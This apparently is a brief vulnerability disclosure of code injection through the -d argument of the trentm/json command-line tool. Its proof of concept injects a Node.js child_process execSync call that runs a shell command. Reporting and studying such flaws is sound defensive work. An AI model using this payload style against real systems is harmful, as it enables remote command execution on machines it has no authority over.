Code Injection in trentm/json


Reported on

Mar 31st 2021

✍️ Description

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the -d argument.

🕵️‍♂️ Proof of Concept

curl -sL '' | node_modules/json/lib/json.js -a created_at number title -d '""+require(`child_process`).execSync(`id`)//'

💥 Impact

This vulnerability is capable of injecting arbitrary commands, which leads to RCE.


to join this conversation